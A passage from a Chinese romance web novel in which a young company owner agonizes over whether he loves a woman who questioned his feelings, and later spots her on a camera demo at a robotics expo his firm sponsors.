“五月中旬不是回南市么。”祁宁说,“江屿诺就别去了,换成张千帆跟着,以后他都留在C市本部。”
陈秘书:……怎么这就不受宠了。
祁宁的话把陈秘书从思绪中拽了出来,他偏头看一眼,惊讶地发现祁宁方才那种生无可恋的劲儿消失了,现在又恢复成了冷静有条理的老板风范。
只是还在做很缓慢的深呼吸调整状态,可能宿醉完头还晕着。
陈秘书默默发消息嘱咐助理,提前在办公室准备好解酒的茶。
*
祁宁喝完果茶,干完活,坐在办公室,又陷入空虚之中。
他的办公室很大,在高层,无死角的落地窗,但看不到海景也看不到城景,因为楼建在C市的经济开发区。
往下俯瞰是他们公司很大的产业园,除了这座办公楼,剩下的楼都不算
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高,干净简约的矮建筑坐落在方方正正的绿化带里,员工的私家车都在地下车库,地表只有有序进出的业务用车。
……这样听,确实不算很酷炫。
但大学刚注册公司的时候,风行的牌子只挂在一个学校的小单间里。
后来一个杠杆一步台阶地快快慢慢持续往上爬,收购公司创新业务招纳人才,风行几年间有了如今的规模,影响力辐射全国。
换个人看到眼前由自己一手铸就的风景是该觉得心潮澎湃的,但祁宁只淡淡地把目光望向天空。
他好像一忙完又在思考端宝儿的事……
端宝儿为什么突然问他是不是喜欢她?
是在说那种男女之间的喜欢吗?
祁宁不是优柔寡断的人,他能清晰地辨别出端宝儿就是那个意思。他甚至能感觉到端宝儿是在期待肯定的回答。
有男女之间的喜欢,然后呢?
然后在一起吗?
听到问题的那一刻祁宁想了很多。
他首先发觉自己对“男女之间的喜欢”是抗拒的,是反感的。
在祁宁看来,一段感情介于“人和人之间”时,是纯粹的;但一旦介于“男女之间”,就会变质,会过期,会不可控,会分崩离析。
他在“人与人之间”的层面很喜欢端宝儿,这显而易见,想待在端宝儿身边,想在离她很近的位置,只是说话就很舒心。
但……这是男女之间的喜欢吗?
祁宁想在端宝儿身边,想不动声色地占据一席之地,想她上班和他分享,下班找他吃饭,不自觉地依赖他,他们的身体背靠背的贴在一起而他作为她的依靠。
本来是想这样温水煮青蛙似的挤到端宝儿身边,也默默将端宝儿圈入自己的领地。
他明明很隐蔽又不留痕迹,而且……也确实有成效。
端宝儿为什么要直接发问呢。
——你是不是喜欢我?
太单刀直入,太开门见山,没有人会像她这样说话,没有人会搜寻到一点模糊的痕迹就把一切拆穿。
祁宁的心脏被毫无防备的划开,里面的小人跳出来说,其实我一直对男女之间的感情抱有悲观的恐惧和排斥。
可祁宁看着端宝儿的眼睛,看橙黄色的柔和灯光打在端宝儿的脸上,她意识清醒,眼里漫了一点醉意,嘴唇湿润,口红全被蹭掉了掉光了,袒露出自然又健康的粉色,唇珠饱满且不设防,再凑近点就可以触碰到的距离,话到嘴边就变成了——
——是的。
他选了一种能回应端宝儿也不撒谎的方式回答。
不背叛端宝儿,也不背叛自己本心的,不违心的真心话。
但端宝儿不满意。
祁宁叹气。
陈秘书其实还没走,他远远地听到祁宁又在深呼吸,不禁有些睁大眼睛,再不八卦的人也会好奇发生了什么事。
然后他听到祁宁打电话,声音模糊。
“问你一件事。”
祁宁在这头说。
“一个女生问,你是不是喜欢我,是什么意思?”
接到电话的大刘:……………………………?
远在南市,大刘刚下班开车回家,接到祁宁的电话,来回把手机按开了三遍,看来电人到底是谁。
“……什么情况?什么意思?谁问你了?”
15.展会
“什么意思,有个女生问你是不是喜欢她?”
祁宁没说是谁,大刘脑中却已经浮现出了一个女生的身影。
大刘甚至还想起了她的名字,第一次提到“端宝儿”是在祁宁回南市看奶奶的时候,第二次是同学一起吃饭,第三次是在祁宁奶奶家,他看到了那个人。
说真的很漂亮,因为外貌感到喜欢也不奇怪,更别提祁宁好像不止因为这个原因才关注她。
祁宁和端宝儿“有一腿”,大刘不意外,但他没想到是这种展开。
“你喜欢就喜欢,不喜欢就趁机拒绝他啊。”
大刘如是说。
初中大家都叽叽喳喳的时候祁宁不参与,现在大家都二十多迈在奔三路上了,祁宁突然请教这种小学生问题,让大刘有种说不上来的滋味。
感觉初中一直照顾他们的人突然变成了刚开窍的纯情小弟。
大刘:“她这么问,肯定也是对你有意思吧,如果她不喜欢你就没必要这样问了。”
正当大刘努力给些建议和分析时,发觉祁宁其实心不在焉的,没怎么听他说话,心底不免又是一阵嘀咕。
这人毛病又犯了,打来电话就是单纯的倾诉两句,实际上完全不准备听人建议啊!
大刘:“你怎么回答的?”
祁宁:“我是挺喜欢她的,但我和她说的不是一个意思。”
大刘突然又感觉情感这东西总是很玄妙,并不随着年龄的增长而变简单。
难怪从算命到星座到塔罗到MBTI,各种测算的东西总是层出不穷。
大刘:“我不懂你们。”
祁宁便不再往下问了,说:“之后江屿诺不参与南市的工作了。”
“哦……那天的事确实挺对不起的,是我太想当然了。”
在说大刘被江屿诺约得很频繁,对方还和他一起去拜访了祁宁奶奶家的事。
大刘知道后来祁宁为江屿诺突然的造访不高兴,还模糊地猜到那天江屿诺之所以去见祁宁奶奶,其实是为了见端宝儿。
江屿诺把目的藏得很好,在他面前都没有多透露一句,但事发后大刘就是能感觉出来。其实他也有点失落,总觉得当初感到的“投缘”变了质。
祁宁“你知道江屿诺的爸妈吗?”
大刘:“听说过,但和他相处的时候,我一般不问。”还想最平常心地对待朋友来着。
祁宁:“如果我像江屿诺那样,说不定……就能给出肯定的答复。”
祁宁:“虽然他确实不着调,做事又顾首不顾尾的,但我羡慕过他。”
大刘:难怪之前同学聚餐也带着江屿诺……祁宁这也是真心错付吧,江屿诺好像干了坏事,很惹他生气。
大刘:……不对,祁宁在羡慕什么,江屿诺有的祁宁都有啊……除了可靠的家人?
大刘:忽然感觉,祁宁在家庭关系这一块是有一些心病。
*
五月上中旬,端宝儿不算忙,趁着周末,收拾收拾准备去机器人展。
“机器人展?是最近电视上播放的机器人运动会吗?”
小黄好奇地凑过来。
“好像有各式各样的智能设备?”端宝儿解释,“这个会展有很多分区,听说有一块是专门的适老化设备,我想去看看。”
她给小黄看地图,地图上有写ABCDEF等分区,其中划出一片空地,是机器人展示区。H区是适老化设备,其他分区也各有主题。
小黄:“你一个人去?”
端宝儿:“和认识的人。”
小黄:“啊,就是你最近一直聊天的那个人……”
小黄知道端宝儿有时常和人聊天。端宝儿之前不这样,她不是那种喜欢线上聊天的人,但最近两个月,看手机时,手指打着字,脸上会露出一点笑意。
端宝儿:“……不是他。”
小黄:“和祁奶奶的孙子?”
端宝儿:“说了呀,不是。”
小黄:哦呵呵,原来在和祁奶奶的孙子聊天。
小黄:“和那个那天来过店里的神人?”
端宝儿:“……不是,别提那个人。”
小黄知道五一节有个帅哥来过店里,还等到晚上九点才离开,看起来有些神神叨叨,又还挺靠谱的,离开前很神奇地从店里找到了卷帘门的遥控器,把店铺关了才走。
这个人好像和端宝儿也有点什么,端宝儿对他是老死不相往来、只想避而不见的态度。
洞悉一切的小黄觉得这不是前任,就是分得很难看的前任,就是差点在一起结果没在一起的前任暧昧对象。
唉,小端姐还挺招桃花的呢!
端宝儿看出小黄的思绪飘远,笑着睨她一眼,“和学弟学妹。”
小黄:真要我说的话,感觉你那好几次跑来北华区做公益的学弟也想跟你有点什么。
对学弟,端宝儿现在很平常心。他和另外两学妹跟着同一个导师在做项目,三个人经常一起,而三个人都很喜欢找端宝儿,在她这已经顺利登记了十六小时的志愿时长,完成本学年的志愿要求。
这种掺杂着集体友谊、公事公办,模糊又不言说的好感,端宝儿随他去了。
反正她对学弟也不可能像对祁宁那样直接问,委婉提醒过就够了。
五月中旬,南市热起来。
端宝儿到了场馆门口,看到两个学妹脖子上都挂着小风扇等她。
“学姐!”
更活泼些的学妹姓夏,手里捧着项目计划书,在场馆门口等端宝儿。身高更高些的学妹正好也姓“高”,端宝儿以此区分二人。
至于学弟,因为一直叫他“学弟”,又不在微信上聊天,看不到备注,端宝儿已经有点忘了他叫什么。
“我来迟了吗?”端宝儿有点不好意思地看一眼表。
“没呢没呢,正好。”
端宝儿:“谢谢你们送我门票,我也给你们带了点吃的。”
学弟学妹七嘴八舌地说谢谢,端宝儿瞄了眼场布,心底却有些不安起来。
因为她答应一起来的时候,学弟学妹只说是大学的合作展会,规模也不会很大。
可一走进来,场馆分明就很大!充斥着金钱燃烧的滋味,地面一尘不染,空调制冷的效果很好,志愿者有序引导,各个展区前都站立着精神十足神采奕奕的工作人员,热情接待。
一看就很正规。
充满着科技感和未来感,人形机器人,拟生物的机器人,机械手,家用机器人,工用机器人,运用了什么技术的眼罩,家具,模型,各种看起来很厉害的金属制品层出不穷,看起来甚是不得了。
其实有的东西应该已经普及开来了,但在端宝儿这种开油车、踩单车、步行出行、也不懂类似专业和原理的老派现代人看来,就是很不得了。
更要命的是,展会的海报横幅上,各所大学的名字都写得不大,最大最多的赞助商和主办方名字是——
风行。
端宝儿有点汗流浃背了。
几个人走着走着就发现端宝儿这位一向很飒爽的学姐有点畏手畏脚,跟在高学妹身后忍不住左看右看,有种做贼心虚的感觉,学弟不禁
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打趣:“你怎么了,学姐,看到前任了?”
端宝儿和学弟交流过前任的话题,所以学弟问这个问题也不突兀。
端宝儿:……我怎么跟你解释呢,这个东西比前不前任的更复杂一点。
她不怕在这里看到谢铮,而怕在这里遇到祁宁。
毕竟,祁宁是风行的老板……
要是江屿诺也跟在祁宁身边那就更尴尬了。
五一假期喝酒时,自端宝儿说出“你是不是喜欢我”,却得到模棱两可的逃避似的回答。
她以为会从此和祁宁变得生分。
没想到祁宁态度不变,无视她的退缩,继续保持往常聊天的频率,和她沟通。
端宝儿本来有些逃避,奈何祁宁和她实在合拍,甚至在刻意迎合她的喜好,跟他就在微信说几句话,也能感到心情很好。
他们就像一壶烧到九十九度却没沸腾的开水,还没翻滚起泡沫,加热便戛然而止。
所以端宝儿想,暂时就这么着吧,非必要不见面不约饭,该淡的关系总会渐渐变淡的。
结果事与愿违,这下好像主动撞进祁宁老窝了。
“不是,我就是没来过,有点新奇。”
端宝儿勉强一笑。
怕什么来什么,手机消息提醒响起来,祁宁问:“你今天准备做什么呢?”
端宝儿左右环视一圈,确认祁宁应该是不会亲自光临这里,才回:“在外面逛。”
祁宁:【一个人?】
端宝儿:【是的。】
“学姐,你看这边。”学弟看端宝儿发完了消息,指给她看一边的牌子,“这个这个,摄像头团队,他们应该是想找合作,现在摄像头对于很多机器人来说都是刚需嘛,把你照得多好看。”
端宝儿刚才在思考怎么回祁宁的话。她感觉再回“和学弟学妹逛”,祁宁就会问“逛哪里”,有点没完没了。
她并没有意识到自己其实有不回消息这个选择,每次祁宁一问就自动老老实实答了。
老老实实的端宝儿回完祁宁消息,跟着学弟走近展示牌,在A区这边展览的某个小团队陈列了一排摄像头,他们进场馆,正好遇上这个展位。
“各种成像技术诶。”
端宝儿走近了看。
*
“我们对夜视和红外都做了更新和优化,而且程序上也可以直接导出更清晰的画面。”
几墙之隔的后台,祁宁正在听团队负责人的介绍。
负责人受宠若惊,正口若悬河滔滔不绝展现技术和想法,毕竟眼前众星捧月的年轻男人就是风行的老板,要是被他看上,他们搭上风行,能一步到位,从此不愁经费,走好多弯路。
负责人还特意放大了画面中的人脸,“这边可以直接看到展区路过的客人,你看,正好经过了一对情侣……细节颜色都很好,外接到其他机器上,也会有这样的呈现效果……”
祁宁双目微微眯了眯,手指轻轻搭上另一只手的手腕,蹭了片刻,低头发消息。
——【你今天准备做什么呢?】
——【在外面逛。】
——【一个人?】
——【是的】
他看着屏幕上越凑越近的那张脸,没想到能在这里看到她。
祁宁最近一直觉得端宝儿似乎很心甘情愿做他温水锅里的青蛙,两个人心照不宣地维持聊天频率,但没想到她学会骗人了——
想先攥在手里的东西,好像要飞出去了。
“千帆,你帮他看。”祁宁示意张千帆来和负责人说话,“我出去一下。”